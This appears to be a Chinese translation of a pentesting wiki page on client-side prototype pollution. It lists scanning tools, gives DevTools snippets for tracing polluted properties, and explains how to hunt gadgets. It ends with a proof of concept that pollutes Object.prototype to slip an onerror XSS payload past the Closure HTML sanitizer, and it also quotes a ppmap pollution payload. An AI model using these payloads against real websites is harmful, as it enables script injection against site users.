Client Side Prototype Pollution
使用自动工具发现
可以使用工具https://github.com/dwisiswant0/ppfuzz,https://github.com/kleiton0x00/ppmap 和 https://github.com/kosmosec/proto-find 来发现原型污染漏洞**。
此外,您还可以使用浏览器扩展程序 PPScan 自动 扫描您访问的页面以查找原型污染漏洞。
调试属性使用位置
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})
寻找原型污染的根本原因
一旦任何工具识别出原型污染漏洞,并且如果代码不是过于复杂,您可以通过在Chrome开发者工具中搜索关键字,如location.hash
、decodeURIComponent
或location.search
来找到漏洞。这种方法可以帮助您准确定位JavaScript代码中的漏洞部分。
对于更大更复杂的代码库,发现易受攻击代码的简单方法包括以下步骤:
使用工具识别漏洞并获取一个设计用于在构造函数中设置属性的有效载荷。ppmap提供的一个示例可能是:
constructor[prototype][ppmap]=reserved
。在将执行页面上的第一行JavaScript代码处设置断点。使用有效载荷刷新页面,使执行在此断点处暂停。
当JavaScript执行暂停时,在JS控制台中执行以下脚本。此脚本将在创建'ppmap'属性时发出信号,有助于定位其来源:
function debugAccess(obj, prop, debugGet=true){
var origValue = obj[prop];
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});
};
debugAccess(Object.prototype, 'ppmap')
导航回Sources选项卡,选择“Resume script execution”。JavaScript将继续执行,并且'ppmap'属性将如预期般被污染。利用提供的代码片段有助于确定'ppmap'属性被污染的确切位置。通过检查Call Stack,可以观察到发生污染的不同堆栈。
在决定要调查哪个堆栈时,通常有用的方法是针对与JavaScript库文件相关的堆栈,因为原型污染经常发生在这些库中。通过检查其附加到库文件的相关堆栈来识别相关堆栈(在右侧可见,类似于提供的指南图像)。在存在多个堆栈的情况下,例如第4行和第6行,逻辑选择是第4行的堆栈,因为它代表了污染的初始发生,从而是漏洞的根本原因。单击堆栈将引导您到易受攻击的代码。

查找脚本工具
工具是一旦发现PP漏洞将被滥用的代码。
如果应用程序很简单,我们可以搜索关键字,如**srcdoc/innerHTML/iframe/createElement
,并查看源代码,检查是否导致JavaScript执行**。有时,提到的技术可能根本找不到工具。在这种情况下,纯源代码审查会揭示一些不错的工具,如下面的示例。
在Mithil库代码中查找PP工具的示例
查看此解说:https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
重新编译用于易受攻击库的有效载荷
通过PP绕过HTML消毒器
这项研究展示了要使用的PP工具,以绕过一些HTML消毒器库提供的消毒:
sanitize-html

dompurify

Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
参考资料
最后更新于